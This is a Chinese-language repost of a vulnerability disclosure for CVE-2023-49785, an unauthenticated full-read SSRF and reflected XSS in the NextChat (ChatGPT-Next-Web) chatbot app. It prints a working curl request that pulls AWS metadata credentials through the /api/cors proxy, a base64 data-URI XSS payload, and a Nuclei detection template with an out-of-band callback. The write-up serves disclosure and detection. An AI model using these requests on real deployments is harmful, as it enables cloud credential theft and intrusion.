ChatGPT-Next-Web存在SSRF和反射型XSS

admin 2024年3月12日15:46:21评论60 views字数 2949阅读9分49秒阅读模式

ChatGPT-Next-Web存在SSRF和反射型XSS

随着生成式人工智能的出现,人工智能聊天机器人无处不在。虽然用户可以使用 OpenAI 等 SaaS 提供商与大语言模型 (LLM) 聊天,但也有许多独立的聊天机器人应用程序可供用户部署和使用。这些独立应用程序通常提供比 OpenAI 更丰富的用户界面、附加功能,例如插入和测试不同模型的能力,以及潜在绕过 IP 块限制的能力。

根据我们的研究,部署最广泛的独立 Gen AI 聊天机器人是NextChat,又名 ChatGPT-Next-Web。这是一个拥有 63K+ 星和 52K+ 分叉的 GitHub 项目。Shodan 查询  title:NextChat,"ChatGPT Next Web"提取了 7500 多个暴露实例,其中大部分位于中国和美国。

此应用程序容易受到严重的全读服务器端请求伪造 (SSRF) 漏洞CVE-2023-49785的影响,我们于 2023 年 11 月向供应商披露了该漏洞。截至撰写本文时,还没有针对该漏洞的补丁。自我们最初披露以来已经过去了 90 多天,我们现在在此发布完整的详细信息。

ChatGPT-Next-Web存在SSRF和反射型XSS

CVE-2023-49785:超级 SSRF

NextChat 是一个基于 Next.js 的 Javascript 应用程序,其大部分功能都是作为客户端代码实现的。

ChatGPT-Next-Web存在SSRF和反射型XSS

然而,有一些暴露的服务器端点。这些端点之一位于/api/cors,它按照设计作为开放代理运行,允许未经身份验证的用户通过它发送任意 HTTP 请求。添加此端点似乎是为了支持将客户端聊天数据保存到 WebDAV 服务器。此端点的存在是一种反模式:它允许客户端通过服务器端端点访问跨域资源,从而绕过内置的浏览器保护。

ChatGPT-Next-Web存在SSRF和反射型XSS

例如,要通过此代理访问 Google,可以发出以下请求:

ChatGPT-Next-Web存在SSRF和反射型XSS

SSRF 漏洞在现实世界的影响方面差异很大。这个特殊的 SSRF 几乎是最糟糕的。这很危险,因为:

  • 它允许访问任意 HTTP 端点,包括任何内部端点

  • 它返回来自任何访问的 HTTP 端点的完整响应

  • 它通过设置标头支持任意 HTTP 方法,例如 POST、PUT 等method。请求主体也会被传递。

  • URL 查询参数可以与 URL 编码一起传递。

  • 它支持在请求中传递Authorization标头。

如果此应用程序暴露在 Internet 上,则攻击者基本上可以完全访问与该应用程序在同一内部网络中可访问的任何其他 HTTP 资源。唯一的限制是传递其他标头,例如Cookie或Content-Type,尽管可能有创造性的方法来注入这些标头。

以下是访问 AWS 云元数据服务以从启用了 IMDSv1 的 AWS EC2 实例检索 AWS 访问密钥的示例:

ChatGPT-Next-Web存在SSRF和反射型XSS

sh-3.2# curl http://54.145.48.76:3000/api/cors/http/169.254.169.254/latest/meta-data/iam/security-credentials/REDACTED{ "Code" : "Success", "LastUpdated" : "2024-03-08T00:22:17Z", "Type" : "AWS-HMAC", "AccessKeyId" : "ASIA-REDACTED", "SecretAccessKey" : "C2CW-REDACTED", "Token" : "IQoJb3JpZ2luX2VjENH-REDACTED", "Expiration" : "2024-03-08T06:58:15Z"}

反射型 XSS

几乎所有反映的 XSS 漏洞对攻击者来说价值不大。但我们认为有趣的是,该漏洞可用于直接触发 XSS,而无需加载其他站点。这是因为端点fetch使用的方法/api/cors也支持该data协议。

例如,以下有效负载:

data:text%2fhtml;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pPC9zY3JpcHQ+%23<script>alert(document.domain)</script>

将在服务器处解码并发送回客户端,从而导致 XSS:

ChatGPT-Next-Web存在SSRF和反射型XSS

缓解措施

我们对此漏洞的评估得出的 CVE 基本评分为9.1(严重)。该漏洞不仅允许对内部 HTTP 端点进行读取访问,还允许使用 HTTP POST、PUT 和其他方法进行写入访问。攻击者还可以利用此漏洞通过这些开放代理转发针对其他互联网目标的恶意流量,从而掩盖其源 IP。

截至撰写本文时,还没有针对该漏洞的补丁。距离我们最初的联系已经过去了 90 多天。

  • 2023 年 11 月 25 日:Horizon3通过 GitHub 漏洞披露流程向ChatGPT-Next-Web报告安全问题

  • 2023年11月26日:供应商接受报告

  • 2023 年 12 月 6 日:GitHub CNA 保留 CVE-2023-49785

  • 2024 年 1 月 15 日:Horizon3 使用 GitHub 安全问题要求供应商进行更新。没有反应。

  • 2024 年 3 月 7 日:Horizon3 使用 GitHub 安全问题要求供应商进行更新。没有反应。

  • 2024 年 3 月 11 日:公开披露

NextChat模板可用于检测此漏洞。该易受攻击的代码于 2023 年 9 月引入。大多数在线实例(包括使用更新的“NextChat”名称的任何实例)很可能容易受到攻击。

id: CVE-2023-49785info:  name: CVE-2023-49785  author: nvn1729  severity: critical  description: Full-Read SSRF/XSS in NextChat, aka ChatGPT-Next-Web  remediation: |    Do not expose to the Internet  classification:    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N    cvss-score: 9.1    cve-id: CVE-2023-49785  tags: cve-2023-49785,ssrf,xsshttp:  - method: GET    path:      - "{{BaseURL}}/api/cors/data:text%2fhtml;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pPC9zY3JpcHQ+%23"      - "{{BaseURL}}/api/cors/http:%2f%2fnextchat.{{interactsh-url}}%23"    matchers-condition: and    matchers:      - type: word        part: interactsh_protocol # Confirms the DNS interaction from second request        words:          - "dns"      - type: dsl        dsl:          - 'contains(body_1, "<script>alert(document.domain)</script>") && contains(header_1, "text/html")' # XSS validation in first request          - 'contains(header_2, "X-Interactsh-Version")' # Or got HTTP response back from Interact server

原文始发于微信公众号(Ots安全):ChatGPT-Next-Web存在SSRF和反射型XSS

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年3月12日15:46:21
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   ChatGPT-Next-Web存在SSRF和反射型XSShttps://cn-sec.com/archives/2569980.html

发表评论

匿名网友 填写信息